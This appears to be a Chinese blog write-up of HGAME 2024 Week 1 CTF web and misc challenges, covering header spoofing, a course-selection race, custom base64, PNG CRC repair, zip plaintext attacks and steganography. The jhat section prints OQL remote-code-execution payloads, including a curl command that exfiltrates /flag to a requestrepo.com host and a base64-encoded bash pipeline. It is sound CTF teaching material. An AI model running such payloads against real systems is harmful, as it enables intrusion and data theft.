HgameCTF-Week1


WEB

ezhttp

刚打开可以看到这些文字,这一步考取的应该是Referer

可构造 Referer: vidar.club

BP上添加即可

这波应该是需要我们修改访问此网站浏览器信息,即User-Agent

可构造 User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0

ok,这波通过文字描述可以得知要考取的是X-Forwarded-For头,但是本题如果仅使用这个头是没法得到结果的,这里用到了fake ip,这边BP是有插件的。

可构造
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1 
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1 
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
从而伪造本地用户访问  拿到flag

再去找一个在线jwt解密/加密 - bejson在线工具,即可拿到flag

Bypass it

本题打开有个提示 本网页需要靠js来确保存在(英语差,勿怪),那么我们就把javascript给禁用后再去做咯,

然后注册账号

注册完后解除js登录

最后点击拿到flag

Select Courses

本题是选满五个课就可以拿到flag

但是点击选课就会显示课程已满

但当我们对其进行一直发送,当full为0时,就会显示选课成功

额选的过程种可以放到Intruder里面,用python脚本写一个循环单个数字多次,然后将结果放到文档里面,添加进去开始攻击

可能攻击显示没有选取成功,可以放到其他浏览器或者放包看其实已经成功了

然后全部选上后可以点击选完了拿到flag

2048*16

打开是一个2048的小游戏,不过*16,那么就不指望挑战了,看看能不能从js源码里面找到解决办法,但他这个源码进行了JS混淆,从里面可以找到这俩个可疑字符串

I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK

V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3

发现第二个字符串是[a-z,0-9,A-Z]+/=,很像base的组成啊(当时我是真没想到这玩意是base换表啊),放到cyberchef去换表一下,拿到flag

jhat

题目描述 jhat is a tool used for analyzing Java heap dump files

提示1hint1: need rce

提示2hint2: focus on oql

提示3hint3: 题目不出网 想办法拿到执行结果

jhat(解析Java堆转储文件)
jhat命令解析Java堆转储文件,可以将堆中的对象以html的形式显示出来,包括对象的数量、大小等等。 jhat命令支持预先设计的查询,例如,显示一个已知类MyClass的所有实例,以及对象查询语言 (OQL)。 本命令在以后的版本中可能不再支持。

我们还可以从本题中拿到一个附件,附件内容如下

FROM openjdk:8
COPY data /
CMD jhat heapdump.hprof
EXPOSE 7000
`FROM openjdk:8`: 这一行指定了基础镜像,即在构建这个镜像时所使用的基础环境。在这里,使用的是名为 `openjdk`,版本为 `8` 的镜像。
`COPY data /`: 这一行指示 Docker 在构建镜像时将当前目录中的 `data` 目录中的所有内容复制到镜像中的根目录(`/`)中。这样,`data` 目录中的所有文件和子目录都会被复制到镜像中。
`CMD jhat heapdump.hprof`: 这行指定了容器启动时要执行的默认命令。在这里,`CMD` 指定了运行 `jhat heapdump.hprof` 命令。这个命令通常用于分析 Java 应用程序的堆转储文件(`heapdump.hprof`)。在容器启动时,会执行这个命令来启动 `jhat` 工具,并将 `heapdump.hprof` 文件作为输入。
`EXPOSE 7000`: 这行指定了容器内部的端口映射,将容器内部的 `7000` 端口暴露给外部。这意味着容器内运行的应用程序可以通过外部访问其运行在 `7000` 端口上的服务。

这题就是照佬复现了,佬博客HGAME 2024 WEEK1 Web方向题解 全-CSDN博客

第一个解决办法是利用信道了Dashboard - requestrepo.com,通过信道可以将flag数据带出。

java.lang.Runtime.getRuntime().exec('curl -X POST --data hello aybyrecq.requestrepo.com')

通过网站可以发现是有回显的

那么再通过构造bash -c "命令"

java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLmF5YnlyZWNxLnJlcXVlc3RyZXBvLmNvbQ==}|{base64,-d}|{bash,-i}')

通过使用base64解码后执行。这种方法可以绕过了直接在exec方法中使用Shell特性的限制。

编码获取

可以发现通过此命令已经将flag带出来了

不过在佬博客里面说,由于此题是不出网的,所以上面这种方法也是非预期,真正的预期解是如下的代码

var process = java.lang.Runtime.getRuntime().exec("cat /flag");
var inputStream = process.getInputStream();
var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
var result = scanner.hasNext() ? scanner.next() : "";
result;

通过此代码可以拿到完整的flag

`var process = java.lang.Runtime.getRuntime().exec("cat /flag");`:
  - 这行代码创建了一个 `process` 变量,它调用了 Java 运行时的 `exec` 方法,用于执行系统命令。
  - 在这里,命令是 `cat /flag`,表示要执行 `cat` 命令来读取 `/flag` 文件的内容。
`var inputStream = process.getInputStream();`:
  - 这行代码获取了 `process` 对象的输入流,以便读取命令执行的结果。
`var scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");`:
  - 这行代码创建了一个 `scanner` 对象,用于扫描输入流中的内容。
  - `java.util.Scanner` 是用于扫描输入的工具类。
  - `.useDelimiter("\\A")` 表示使用 `\A` 作为分隔符,`\A` 表示输入的开头。
`var result = scanner.hasNext() ? scanner.next() : "";`:
  - 这行代码检查扫描器是否有下一行输入,如果有,则将其读取为字符串赋给 `result` 变量;否则,将 `result` 设为空字符串。
`result;`:
  - 这行代码输出 `result` 变量的值,即命令执行的结果。

MISC

Sign in

很显然,flag就在图片里,将图片存到手机上,然后从充电口看就能拿到flag了。

simple_attack

第一个压缩包内容图片

第二个压缩包内容图片

可以发现里面有着相同的文件(CRC也相同),所以我们可以考虑到明文攻击

开始攻击即可,当出现这种情况,就可以取消了

然后会显示恢复,但口令未找到

此时会让你去保存一个文件,这个文件就是解密好的文件

打开文件里面是一个图片的base64编码,所以从网上找到在线Base64转图片 (lddgo.net),图片即是flag

希儿希儿希尔

下载文件是一个待修复的图片,拿到010进行修复一下,修复之前我们可以拉到最底下发现在该图片下有着一个压缩包

通过脚本可以爆破出图片的宽高

import binascii
import struct

crcbp = open("C://Users//DDD//Desktop//secret.png", "rb").read()  # 打开图片
crc32frombp = int(crcbp[29:33].hex(), 16)  # 读取图片中的CRC校验值
print(crc32frombp)

for i in range(4000):  # 宽度1-4000进行枚举
    for j in range(4000):  # 高度1-4000进行枚举
        data = crcbp[12:16] + \
               struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
        crc32 = binascii.crc32(data) & 0xffffffff
        # print(crc32)
        if (crc32 == crc32frombp):  # 计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定
            print(i, j)
            print('hex:', hex(i), hex(j))
            exit(0)

将其改到010中就可以拿到真正的图片

用Stegsolve打开找找里面是否有隐藏的信息

可以发现其中隐藏的密钥

再结合题目所示,希尔密码希尔密码(Hill Cipher)加密解密-ME2在线工具 (metools.info),加上这个密钥可以拿到flag,至于密文,我们甚至可以不去分解,直接从010拿到密文(但最好是去分一下)

CVOCRJGMKLDJGBQIUIVXHEYLPNWR

解密后,用hgame{}包裹即可

来自星尘的问候

打开是一个jpg图片,结合本题提示密码是6位弱密码,本题的考点是steghidestegseek的利用,不过用stegseek可以直接拿到隐藏的内容

time stegseek 解密文件 字典

至于字典的获取,可以从网上了解一下,kali也自带一个字典可以下载。然后可以找到本题的密码是123456,不过用steghide也是可以的。

steghide extract -sf 解密文件 -p 123456

解密后可以拿到一个图片

看这格式很显然是hgame{},结合给的提示,其页面上会有这些语言的翻译,通过所给的主角名,我们可以查到这个游戏是鹰角网络的来自星尘。我们可以在其的官方网站中找到游戏相关图片内容

游戏内语言

实际对应

那么此时就简单了,对照破译即可。


文章作者: Know5
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Know5 !
  目录